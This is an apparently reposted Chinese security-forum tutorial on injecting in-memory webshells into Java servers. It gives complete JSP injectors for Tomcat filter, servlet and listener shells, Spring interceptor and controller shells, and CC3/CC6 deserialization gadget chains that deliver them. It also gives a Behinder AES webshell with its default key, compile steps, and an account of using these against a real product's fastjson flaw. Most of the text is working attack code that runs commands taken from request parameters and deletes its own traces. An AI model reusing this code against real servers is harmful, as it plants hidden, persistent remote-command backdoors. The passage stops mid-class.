原文链接:https://forum.butian.net/share/3002
目录
-
Tomcat三种内存马
-
Spring内存马结合反序列化相关利用
-
实战利用
一、Tomcat三种内存马
首先了解下tomcat的三种内存马的原理和简单实用
filter型内存马
Tomcat filter注册流程
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
给项目导入tomcat lib依赖后,我们开始断点调试看看,不导入依赖看不到源码,但实际项目运行时是正常的,只是我们在idea里看不到。
调试跟入可以在堆栈中看到filterChain,我们接着查看哪里创建了它
在org.apache.catalina.core.ApplicationFilterFactory#createFilterChain中,我们跟进这个方法
可以看到这里首先获取了context网页上下文,然后找到所有的filtermap放在数组中
前面我们知道FilterMap 中主要存放了 FilterName 和 对应的URLPattern
后面继续跟入这个循环中,这个循环就是遍历filterMaps
,去匹配当前请求的url与filterMap
中的urlpatter
,如果相就进入if调用findFilterConfig
方法找到对应FilterName的filterConfig
。如果filterConfig
不为空就进入addFilter,我们继续跟入
可以发现这个循环遍历filter,就是进行一个去重的操作。下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量
最终遍历完出来就完成了filterChain
的一个组装
回到StandardWrapperValve中调用
跟进发现它又会调用internalDoFilter
方法
这里会获取到所有的filterConfig
然后依次进入到我们定义的doFilter
方法中执行
我们跟据这个图理解filterConfig、filterMaps、filterDefs
其中filterConfigs也存放了context,两个context是一样的
根据上面的分析我们了解到,如果要实现filter类型内存马
大致流程如下:
-
创建一个恶意 Filter
-
利用 FilterDef 对 Filter 进行一个封装
-
将 FilterDef 添加到 FilterDefs 和 FilterConfig
-
创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.File" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "Qiu";
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" );
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
//判断没有被注册
if (filterConfigs.get(name) == null) {
// 创建恶意的filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request1 = (HttpServletRequest) servletRequest;
if (request1.getParameter("qiu") != null) {
byte[] bytes = new byte[1024];
Process process = Runtime.getRuntime().exec(request1.getParameter("qiu"));
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
}
@Override
public void destroy() {
}
};
//获取filterDef,设置filter、类名、类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
//将filterDef添加进入filterDefs
standardContext.addFilterDef(filterDef);
//获取filterMap,设置UrlPattern、类名
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
//因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//调用 StandardContext 的 addFilterMapBefore 直接加在 filterMaps 的第一位
standardContext.addFilterMapBefore(filterMap);
//利用反射创建filterConfigs,并添加filterDef和StandardContext
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filterConfig放入filterConfigs中
filterConfigs.put(name, filterConfig);
out.println("Hack success!");
//文件自毁
(new File(application.getRealPath(request.getServletPath()))).delete();
}
%>
Servlet型内存马
这里我们直接看实现类 ApplicationContext
的 addServlet
方法。
private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map initParams) throws IllegalStateException {
//servlet不为空
if (servletName != null && !servletName.equals("")) {
this.checkState("applicationContext.addServlet.ise");
//根据name在context中的children中找到wrapper
Wrapper wrapper = (Wrapper)this.context.findChild(servletName);
//如果wrapper不存在则创建
if (wrapper == null) {
wrapper = this.context.createWrapper();
wrapper.setName(servletName);
//添加到context的children中
this.context.addChild(wrapper);
} else if (wrapper.getName() != null && wrapper.getServletClass() != null) {
if (!wrapper.isOverridable()) {
return null;
}
wrapper.setOverridable(false);
}
//都是为了设置servletClass
ServletSecurity annotation = null;
if (servlet == null) {
wrapper.setServletClass(servletClass);
Class<?> clazz = Introspection.loadClass(this.context, servletClass);
if (clazz != null) {
annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class);
}
} else {
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
if (this.context.wasCreatedDynamicServlet(servlet)) {
annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class);
}
}
if (initParams != null) {
Iterator var9 = initParams.entrySet().iterator();
while(var9.hasNext()) {
Map.Entry initParam = (Map.Entry)var9.next();
wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue());
}
}
//用ApplicationServletRegistration创建对象并返回
ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context);
if (annotation != null) {
registration.setServletSecurity(new ServletSecurityElement(annotation));
}
return registration;
} else {
throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName}));
}
}
接着我们看org.apache.catalina.core.ApplicationServletRegistration#addMapping方法
public Set addMapping(String... urlPatterns) {
if (urlPatterns == null) {
//为空返回一个不可变的Set对象
return Collections.emptySet();
} else {
Set conflicts = new HashSet();
String[] var3 = urlPatterns;
int var4 = urlPatterns.length;
int var5;
String urlPattern;
//遍历urlPatterns数组,就是一个去重操走
for(var5 = 0; var5 < var4; ++var5) {
urlPattern = var3[var5];
String wrapperName = this.context.findServletMapping(urlPattern);
if (wrapperName != null) {
Wrapper wrapper = (Wrapper)this.context.findChild(wrapperName);
if (wrapper.isOverridable()) {
this.context.removeServletMapping(urlPattern);
} else {
conflicts.add(urlPattern);
}
}
}
if (!conflicts.isEmpty()) {
return conflicts;
} else {
var3 = urlPatterns;
var4 = urlPatterns.length;
//向context中添加urlPattern和对应的wrapper
for(var5 = 0; var5 < var4; ++var5) {
urlPattern = var3[var5];
this.context.addServletMappingDecoded(UDecoder.URLDecode(urlPattern, StandardCharsets.UTF_8), this.wrapper.getName());
}
if (this.constraint != null) {
this.context.addServletSecurity(this, this.constraint);
}
return Collections.emptySet();
}
}
}
注意到向context中添加URL和对应的wrapper中调用了一个addServletMappingDecoded
方法
通过这个方法向servletMappings
添加处理后的,urlPattern和name
所以创建servlet内存马的步骤和之前类似,可以分为
-
创建恶意Servlet
-
用Wrapper对其进行封装
-
添加封装后的恶意Wrapper到StandardContext的children当中
-
添加ServletMapping将访问的URL和Servlet进行绑定
-
同时在 servletMappings 中添加 URL 路径与 name 的映射。
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import = "org.apache.catalina.core.*"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.http.*"%>
<%@ page import = "java.io.*"%>
<%@ page import = "java.lang.reflect.Field"%>
<%
// 创建恶意Servlet
class QiuServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
HttpServletRequest request1 = (HttpServletRequest) req;
HttpServletResponse response1 = (HttpServletResponse) resp;
if (request1.getParameter("qiu") != null) {
byte[] bytes = new byte[1024];
Process process = Runtime.getRuntime().exec(request1.getParameter("qiu"));
int len = process.getInputStream().read(bytes);
resp.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}else {
response1.sendError(HttpServletResponse.SC_NOT_FOUND);
}
}
@Override
public void destroy() {
}
}
final String name = "Qiu";
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//用Wrapper对其进行封装
QiuServlet qiuServlet = new QiuServlet();
org.apache.catalina.Wrapper qiuWrapper = standardContext.createWrapper();
qiuWrapper.setName(name);
qiuWrapper.setLoadOnStartup(1);
qiuWrapper.setServlet(qiuServlet);
qiuWrapper.setServletClass(qiuServlet.getClass().getName());
//添加封装后的恶意Wrapper到StandardContext的children当中
standardContext.addChild(qiuWrapper);
// 同时在 servletMappings 中添加 URL 路径与 name 的映射
standardContext.addServletMappingDecoded("/Qiu", name);
out.println("Hack success!");
//销毁
(new File(application.getRealPath(request.getServletPath()))).delete();
%>
Listener型内存马
-
ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
-
ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
-
ServletRequestListener:对 Request 请求进行监听(创建、销毁)
-
ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
-
javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
-
javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听
在 ServletRequestListener 接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马,而且我们可以拿到每次请求的的事件:ServletRequestEvent,通过其中的getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑 。
我们在requestInitialized
处打个断点
查看栈帧定位到StandardHostValve的invoke方法
我们跟入,重点看红框部分,这里会调用listener的requestInitialized方法,然后我们需要进入这里就要获得instances,而instances通过getApplicationEventListeners方法返回,还有就是event参数通过new ServletRequestEvent(this.getServletContext(), request);获得
listener存放在applicationEventListenersList属性中
我们同样在StandardContext中找到相关的add方法
所以listener型的内存马注入很简单,就两步
-
创建恶意listener
-
将恶意listener添加到applicationEventListener中
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.File" %>
<%
//创建恶意listener
class QiuListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("qiu") != null) {
InputStream in = null;
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
try {
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("qiu")} : new String[]{"cmd.exe", "/c", req.getParameter("qiu")};
in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(in).useDelimiter("\A" );
String out = scanner.hasNext() ? scanner.next() : "";
Field requestFiled = req.getClass().getDeclaredField("request" );
requestFiled.setAccessible(true);
Request request = (Request) requestFiled.get(req);
request.getResponse().getWriter().write(out);
}catch (Exception e) {
}
}
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
}
}
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//将恶意listener添加到applicationEventListener中
QiuListener qiuListener = new QiuListener();
standardContext.addApplicationEventListener(qiuListener);
out.println("Hack success!");
// //销毁
(new File(application.getRealPath(request.getServletPath()))).delete();
%>
Listener的添加步骤要比前两种简单得多,优先级也是三者中最高的。
二、Spring内存马结合反序列化相关利用
环境
方便起见直接用SpringBoot了
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.4.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
</project>
漏洞点
@RestController
public class VulController {
@RequestMapping("/vul")
@ResponseBody
public String vul(HttpServletRequest request, HttpServletResponse response, String payload) throws IOException, ClassNotFoundException {
if (payload != null) {
System.out.println(payload);
byte[] decode = Base64.getDecoder().decode(payload);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
return "attack success";
}
return "payload null";
}
}
Interceptor内存马利用
上面讲的是tomcat内存马相关,这里再利用spring的内存马进行实际环境演示,其实原理都可以举一反三。
一、准备
我们知道,将自定义的Interceptor类加入到RequestMappingHandlerMapping类的adaptedInterceptors属性中即可注册一个拦截器。如下
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.lang.reflect.Field;
public class InterMemShell extends AbstractTranslet {
static {
try
{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
Field field = null;
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList adaptedInterceptors = null;
adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping);
String className = "magicInterceptor";
//加载magicInterceptor类的字节码
String b64 = "base64 class";
byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m0.setAccessible(true);
m0.invoke(classLoader, className, bytes, 0, bytes.length);
//添加com.example.spring.magicInterceptor类到adaptedInterceptors
adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
} catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
所以我们还需要一个类名为magicInterceptor(可以自定义,当然也要修改上面的className)的拦截器,重写preHandle方法。
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Method;
import java.util.HashMap;
public class magicInterceptor extends HandlerInterceptorAdapter{
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("qiu");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
e.printStackTrace();
}
return false;
}
return true;
}
}
我这里利用CC3的LazyMap + TemplatesImpl链子打
package Qiu;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class templateClass = templates.getClass();
Field nameFiled = templateClass.getDeclaredField("_name" );
nameFiled.setAccessible(true);
nameFiled.set(templates, "qiuqiu");
Field bytecodesFiled = templateClass.getDeclaredField("_bytecodes" );
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("xxx.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);
Field _tfField = templateClass.getDeclaredField("_tfactory");
_tfField.setAccessible(true);
_tfField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap<>();
Map Lazymap = LazyMap.decorate(map, chainedTransformer);
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class, Lazymap);
//一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法。
Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),// 传入ClassLoader
new Class[]{Map.class},// 传入要实现的接口
h);// 传入处理调用方法的InvocationHandler
Object o = constructor.newInstance(Override.class, maproxy);
serialize(o);
//unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
再准备一个Base64编码的工具类,因为后面肯定需要对字节码进行编码传输
package Qiu;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class B64Evil {
public static void main(String[] args) throws IOException {
byte[] code1 = Files.readAllBytes(Paths.get("magicInterceptor.class"));
System.out.println(Base64.getEncoder().encodeToString(code1));
byte[] code = Files.readAllBytes(Paths.get("ser.bin"));
System.out.println(Base64.getEncoder().encodeToString(code));
}
}
二、编译利用
接下来就需要进行编译恶意类了。有些文章说直接用idea编译的,但是idea编译是会自带那个package包名的,如果有这个最后利用的时候会报.NoClassDefFoundError的错,我也不知道是怎么利用成功的。所以就得用javac编译,如果直接javac xxx.java
会报一堆的错误,因为是找不到依赖的,所以需要利用cp参数。这里放出我的命令,这里的jar包我全部放在当前文件夹了。版本的话自行测试。
javac -cp .:spring-web-4.3.28.RELEASE.jar:spring-webmvc-4.3.28.RELEASE.jar:javax.servlet-api-3.1.0.jar:spring-context-4.3.28.RELEASE.jar:spring-beans-4.3.28.RELEASE.jar:spring-core-4.3.28.RELEASE.jar InterMemShell.java
首先编译好magicInterceptor
(也就是你重写preHandle
方法的?) 然后对class进行base64编码,放入InterMemShell
中,然后用同样的命令对InterMemShell
进行编译 接着利用CC3序列化成ser.bin文件,然后对它进行base64编码打入,发包的时候需要url编码
三、注入冰蝎内存马
先看看冰蝎的?
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!class U extends ClassLoader{
U(ClassLoader c){super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);}
}%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
将之前的?替换为冰蝎的逻辑
public class magicInterceptor extends HandlerInterceptorAdapter{
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
HttpSession session = request.getSession();
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
try {
if (request.getMethod().equals("POST")) {
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
} catch (Exception e){
e.printStackTrace();
}
return true;
}
}
Controller内存马利用
冰蝎逻辑马子
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Method;
import java.util.HashMap;
public class magicController {
public void shell() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
HttpSession session = request.getSession();
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
try {
if (request.getMethod().equals("POST")) {
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
} catch (Exception e){
e.printStackTrace();
}
}
}
注入恶意controller内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;
public class ConMemShell extends AbstractTranslet {
static {
try {
String className = "magicController";
//加载magicController类的字节码
String b64 = "b64";
byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(b64);
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
m.setAccessible(true);
m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{className, d, 0, d.length});
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
PatternsRequestCondition url = new PatternsRequestCondition("/qiu");
RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);
RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class);
Method mm = Class.forName(className).getMethod("shell");
rs.registerMapping(info, Class.forName(className).newInstance(), mm);
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
同样利用CC3打注入,成功连接
三、实战利用
目标是某云匣子的fastjson漏洞,关于漏洞分析可以看网上其他文章。
问题
开始是简单的想到利用CC3加载恶意类,但是后面尝试发现是不行的。因为我们在CC链的时候了解过, 在jdk8u71之后,代理类AnnotationInvocationHandler中的this.memberValues被替换为了linkedhashmap,所以会报错没有entrySet键。
解决
因为CC6是不受版本限制的,我们可以利用TemplatesImpl改造它参考这个师傅 https://f4de-bak.github.io/pages/ca9de1/#%E6%94%B9%E9%80%A0cc6 具体代码为
package Qiu;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6V2 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath("xxx/java/Qiu/");
CtClass ctClass = pool.get("EvilTest");
byte[] payloads = ctClass.toBytecode();
// byte[] payloads = Base64.getDecoder().decode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
setFieldValue(templates, "_name", "qiuqiu");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, templates);
Map expMap = new HashMap();
expMap.put(tme, "qiu");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
//
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
// oos.writeObject(expMap);
// oos.close();
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
// byte[] decode = Base64.getDecoder().decode(payload);
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object obj = ois.readObject();
return obj;
}
}
本地搭建相关环境,在jdk8u391的环境下成功执行命令。但是tmd打回显的?子又不行,调试了半天还是不行?。刚好外卖到了,边吃鸭脖边又看了两眼,发现?子忘记继承AbstractTranslet了...
内存马
能回显了,但是在实际攻防当中我们最好还是能够打入内存马方便操作。考虑到目标环境是spring,我直接就找了以前的springInterceptor的内存马,
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.beans.BeansException;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.ServletRequest;
import javax.servlet.http.HttpServletRequest;
import java.lang.reflect.Method;
public class SpringInterceptorMemShell extends AbstractTranslet {
